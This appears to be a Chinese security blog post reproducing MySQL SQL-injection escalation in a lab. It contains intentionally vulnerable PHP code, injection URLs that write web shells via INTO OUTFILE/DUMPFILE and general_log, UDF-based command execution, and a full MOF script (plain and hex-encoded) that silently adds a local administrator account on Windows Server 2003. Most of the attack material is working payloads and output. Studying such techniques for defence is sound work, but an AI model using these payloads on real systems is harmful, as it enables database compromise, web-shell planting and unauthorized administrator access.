赞
踩
文章首发公众号:闪光的自留地
知乎:Sp4rkW
GITHUB:Sp4rkW
B站:一只技术君
博客:https://sp4rkw.blog.csdn.net/
联系邮箱:getf_own@163.com
接触安全以来听得最多的就是sql注入,但是一直都没怎么仔细整理过相关的sql注入进阶利用方法,基本局限在注入获取数据库的数据。本文将集中整理复现mysql数据库相关命令执行方法,原理以及提权利用姿势,作者能力有限,如有更多姿势,也欢迎沟通交流。
全文复现环境(基于windows下的docker虚拟环境):
使用到的环境 | 版本 |
---|---|
centos | 7.2.1511 |
宝塔面板 | 7.5.1 |
PHP | 5.6 |
MYSQL | 5.1.73 |
windows server | 2003 |
PHP | 5.4.45 |
MYSQL | 5.5.53 |
php环境代码如下:
<?php
$con=mysqli_connect("127.0.0.1","root","xxx","127_0_0_1");
if (mysqli_connect_errno())
{
echo "数据库连接出错:".mysql_connect_error();
}
$id=$_GET["id"];
$result=mysqli_query($con,"select * from runoob_tbl where runoob_id=$id");
if (!$result) {
printf("Error: %s\n", mysqli_error($con));
exit();
}
$row=mysqli_fetch_array($result);
echo $row['runoob_title'].":".$row['runoob_author'];
echo "<br>";
?>
这个是一个很基本的union联合注入,数据库表的情况如下:
mysql> use 127_0_0_1;
Database changed
mysql> show tables;
+---------------------+
| Tables_in_127_0_0_1 |
+---------------------+
| runoob_tbl |
+---------------------+
1 row in set (0.00 sec)
mysql> select * from runoob_tbl;
+-----------+--------------+---------------+-----------------+
| runoob_id | runoob_title | runoob_author | submission_date |
+-----------+--------------+---------------+-----------------+
| 1 | Network | hhh | NULL |
+-----------+--------------+---------------+-----------------+
1 row in set (0.00 sec)
load_file()
开启 即 secure_file_priv
无限制
secure_file_priv
默认是空,这个情况下可以向任意绝对路径写文件secure_file_priv
默认是 NULL,这个情况下不可以写文件mysql> show global variables like '%secure_file_priv%';
+------------------+-------+
| Variable_name | Value |
+------------------+-------+
| secure_file_priv | |
+------------------+-------+
1 row in set (0.00 sec)
secure_file_priv
有以下三种情况,改参数可以查询,但不能动态更改,只能在mysql的配置文件中进行修改,然后重启生效。
数据值 | 说明 |
---|---|
NULL | 不允许导入或导出 |
/tmp | 只允许在 /tmp 目录导入导出 |
空 | 不限制目录 |
这里仅以mysql5.5.3 之前版本来进行测试,满足上述写shell的前置条件之后,可以使用以下payload进行文件写入:
# 判断
http://127.0.0.1:8081/sql.php?id=1%20union select 1,@@version,3,4 limit 1,1
http://127.0.0.1:8081/sql.php?id=1%20union select 1,@@secure_file_priv,3,4 limit 1,1
# 写文件姿势1~3
http://127.0.0.1:8081/sql.php
?id=1%20union select 1,2,3,'<? phpinfo(); ?>' into outfile '/www/wwwroot/127.0.0.1/_phpinfo.php'#
http://127.0.0.1:8081/sql.php
?id=1%20into outfile '/www/wwwroot/127.0.0.1/2_phpinfo.php' fields terminated by '<? phpinfo(); ?>'#
http://127.0.0.1:8081/sql.php
?id=1%20union select 1,2,3,'<? phpinfo(); ?>' into dumpfile '/www/wwwroot/127.0.0.1/3_phpinfo.php'#
PS:当我们无法使用联合查询时,我们可以使用fields terminated by
与lines terminated by
来写shell;拦截了单引号,可以转16进制写入绕过。
# 写入结果1
1 Network hhh \N
1 2 3 <? phpinfo(); ?>
# 写入结果2
1<? phpinfo(); ?>Network<? phpinfo(); ?>hhh<? phpinfo(); ?>\N
# 写入结果3
1Networkhhh>·123<? phpinfo(); ?>
outfile:
dumpfile:
因此,我们可以使用into dumpfile
这个函数来顺利写入二进制文件;into outfile
函数也可以写入二进制文件,只是追加的反斜杠会使二进制文件无法生效。如果服务器端本身的查询语句,结果有多行,但是我们又想使用dump file
,应该手动添加 limit
限制。
MySQL 5.0 版本以上会创建日志文件,可以通过修改日志的全局变量来 getshell,这个姿势也被用来突破限制。当然,为了支持堆叠注入,我们的php源代码需要修改。
<?php
$con=mysqli_connect("127.0.0.1","root","xxx","127_0_0_1");
// 检测链接
if (mysqli_connect_errno($con))
{
echo "连接到 MySQL 失败: " . mysqli_connect_error();
}
$id=$_GET["id"];
$sql = "SELECT runoob_title FROM runoob_tbl where runoob_id = 1;";
$sql .= "SELECT runoob_author FROM runoob_tbl where runoob_id = $id";
// 执行多个 SQL 语句
if (mysqli_multi_query($con,$sql))
{
do
{
// 存储第一个结果集
if ($result=mysqli_store_result($con))
{
while ($row=mysqli_fetch_row($result))
{
printf("%s"."\n",$row[0]);
}
mysqli_free_result($result);
}
}
while (mysqli_next_result($con));
}
mysqli_close($con);
?>
满足上述条件之后,可以通过以下payload进行shell写入:
# 判断
http://127.0.0.1:8081/sql.php?id=1;select @@general_log;--
http://127.0.0.1:8081/sql.php?id=1;select @@general_log_file;--
# 写入姿势
http://127.0.0.1:8081/sql.php
?id=1;set global general_log = "ON";set global general_log_file='/www/wwwroot/127.0.0.1/_phpinfo.php';--
http://127.0.0.1:8081/sql.php
?id=select '<?php phpinfo();?>';--
# 写入结果
/www/server/mysql/libexec/mysqld, Version: 5.1.73-log (Source distribution). started with:
Tcp port: 3306 Unix socket: /tmp/mysql.sock
Time Id Command Argument
185 Quit
210228 19:43:30 170 Query select @@general_log_file
210228 19:47:58 186 Connect root@localhost on 127_0_0_1
186 Query SELECT runoob_title FROM runoob_tbl where runoob_id = 1;SELECT runoob_author FROM runoob_tbl where runoob_id = select '<?php phpinfo();?>';--
186 Quit
非常鸡肋,因为如果目标web服务不是高权限用户,还会显示Access denied;又因为所有者是mysql,权限660,www无法读取。
UDF(user defined function)用户自定义函数,是mysql的一个拓展接口。用户可以通过自定义函数实现在mysql中无法方便实现的功能,其添加的新函数都可以在sql语句中调用,就像调用本机函数一样。 由于是用户自定义的函数,所以我们可以利用UDF创建一个执行命令的函数。
c:/windows/system32/
)lib\plugin
文件夹下,才能创建自定义函数udf提权本质还是需要写入文件,所以所需要的root用户必须要是高权限用户,而且还必须拥有目标文件夹的写入权限。udf其实还是有一些使用场景的,比如:
动态链接库在sqlmap中即可找到,不过 sqlmap 中 自带这些动态链接库为了防止被误杀都经过编码处理过,可以利用 sqlmap 自带的解码工具cloak.py 来解码使用。
# 确定插件目录位置
mysql> show variables like '%plugin%';
+---------------+------------------------------------+
| Variable_name | Value |
+---------------+------------------------------------+
| plugin_dir | /www/server/mysql/lib/mysql/plugin |
+---------------+------------------------------------+
1 row in set (0.00 sec)
其实udf对于注入的要求也还挺多:
php站点的代码构造如下:
<?php
$con=mysqli_connect("127.0.0.1","root","xxx","127_0_0_1");
// 检测链接
if (mysqli_connect_errno($con))
{
echo "连接到 MySQL 失败: " . mysqli_connect_error();
}
$id=$_POST["id"];
$sql = "SELECT runoob_title FROM runoob_tbl where runoob_id = 1;";
$sql .= "SELECT runoob_author FROM runoob_tbl where runoob_id = $id";
// 执行多个 SQL 语句
if (mysqli_multi_query($con,$sql))
{
do
{
// 存储第一个结果集
if ($result=mysqli_store_result($con))
{
while ($row=mysqli_fetch_row($result))
{
printf("%s"."\n",$row[0]);
}
mysqli_free_result($result);
}
}
while (mysqli_next_result($con));
}
mysqli_close($con);
?>
满足上述条件之后,可以使用下面的POST类型payload进行提权:
# 查询插件目录
id=1;select @@plugin_dir--
# 写入lib_mysqludf_sys_32.so
id=1;SELECT 0x0000 INTO DUMPFILE '/www/server/mysql/lib/mysql/plugin/udf.so';--
# 后续利用
id=1;CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.so';--
select sys_eval('whoami');
这里很奇怪的是,我一直报错:
ERROR 1126 (HY000): Can't open shared library 'udf.so' (errno: 0 feature disabled)
基于sqlmap解编码以及msf的so文件都尝试了,还是不可以,此外想到可能是SElinux导致的问题,但是基于docker的centos镜像里面没有开启SElinux。
验证MOF提权使用到的phpstudy环境中(windows server2003,php5.4.45,mysql5.5.53),倒是成功验证了。但是需要手动设置my.ini,配置如下信息,并重启数据库:
secure_file_priv = ''
之后成功验证udf提权,比较简单的也可以使用udf大马,戳这里
此外,看到部分文章说可以直接利用system
函数,MySQL 5.x中增加了system命令,可以直接执行系统命令
mysql> system whoami;
root
辟谣链接可以点这里:
伪科学:Mysql system()函数提权
MOF 提权只在 Windows Server 2003 的环境下才可以成功。提权的原理是C:/Windows/system32/wbem/mof/
目录下的 mof 文件每 隔一段时间(几秒钟左右)都会被系统执行,因为这个 MOF 里面有一部分是 VBS 脚本,所以可以利用这个 VBS 脚本来调用 CMD 来执行系统命令,如果 MySQL 有权限操作 mof 目录的话,就可以来执行任意命令了。本质还是离不开写文件。
MOF脚本参考如下:
#pragma namespace("\\\\.\\root\\subscription")
instance of __EventFilter as $EventFilter
{
EventNamespace = "Root\\Cimv2";
Name = "filtP2";
Query = "Select * From __InstanceModificationEvent "
"Where TargetInstance Isa \"Win32_LocalTime\" "
"And TargetInstance.Second = 5";
QueryLanguage = "WQL";
};
instance of ActiveScriptEventConsumer as $Consumer
{
Name = "consPCSV2";
ScriptingEngine = "JScript";
ScriptText =
"var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user sp4rkw pwd123456 /add\")\nWSH.run(\"net.exe localgroup administrators sp4rkw /add\")";
};
instance of __FilterToConsumerBinding
{
Consumer = $Consumer;
Filter = $EventFilter;
};
核心语句如下:
ScriptText =
"var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user sp4rkw pwd123456 /add\")\nWSH.run(\"net.exe localgroup administrators sp4rkw /add\")";
主要的作用就是添加对应用户密码,并将其设为管理员
windows server 2003直接以连接数据库形式进行演示,web端注入同理。上述代码有换行缩进,为了保证完整性,使用十六进制编码后写入,随便找个在线进制转换,转换完成后记得补0x。
mysql > select 0x23707261676d61206e616d65737061636528225c5c5c5c2e5c5c726f6f745c5c737562736372697074696f6e2229200a0a696e7374616e6365206f66205f5f4576656e7446696c74657220617320244576656e7446696c746572200a7b200a202020204576656e744e616d657370616365203d2022526f6f745c5c43696d7632223b200a202020204e616d6520203d202266696c745032223b200a202020205175657279203d202253656c656374202a2046726f6d205f5f496e7374616e63654d6f64696669636174696f6e4576656e742022200a20202020202020202020202022576865726520546172676574496e7374616e636520497361205c2257696e33325f4c6f63616c54696d655c222022200a20202020202020202020202022416e6420546172676574496e7374616e63652e5365636f6e64203d2035223b200a2020202051756572794c616e6775616765203d202257514c223b200a7d3b200a0a696e7374616e6365206f66204163746976655363726970744576656e74436f6e73756d65722061732024436f6e73756d6572200a7b200a202020204e616d65203d2022636f6e735043535632223b200a20202020536372697074696e67456e67696e65203d20224a536372697074223b200a2020202053637269707454657874203d200a2276617220575348203d206e657720416374697665584f626a656374285c22575363726970742e5368656c6c5c22295c6e5753482e72756e285c226e65742e657865207573657220737034726b7720707764313233343536202f6164645c22295c6e5753482e72756e285c226e65742e657865206c6f63616c67726f75702061646d696e6973747261746f727320737034726b77202f6164645c2229223b200a7d3b200a0a696e7374616e6365206f66205f5f46696c746572546f436f6e73756d657242696e64696e67200a7b200a20202020436f6e73756d65722020203d2024436f6e73756d65723b200a2020202046696c746572203d20244576656e7446696c7465723b200a7d3b into dumpfile "C:/windows/system32/wbem/mof/test.mof";
Query OK, 1 row affected (0.00 sec)
# 停止 winmgmt 服务
C:\Documents and Settings\Administrator>net stop winmgmt
Windows Management Instrumentation 服务正在停止.
Windows Management Instrumentation 服务已成功停止。
# 删除 Repository 文件夹
C:\Documents and Settings\Administrator>rmdir /s /q C:\Windows\system32\wbem\Rep
ository\
# 手动删除 mof 文件
C:\Documents and Settings\Administrator>del C:\Windows\system32\wbem\mof\good\te
st.mof /F /S
删除文件 - C:\Windows\system32\wbem\mof\good\test.mof
# 重新启动服务
C:\Documents and Settings\Administrator>net start winmgmt
Windows Management Instrumentation 服务正在启动 .
Windows Management Instrumentation 服务已经启动成功。
其实上述webshell或者是提权到执行系统命令,其本质都基于能够写文件;基于写文件的思路,其实可以做很多拓展,当然,这些思路我没有去验证,只是提一提自己的想法。比如说:
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。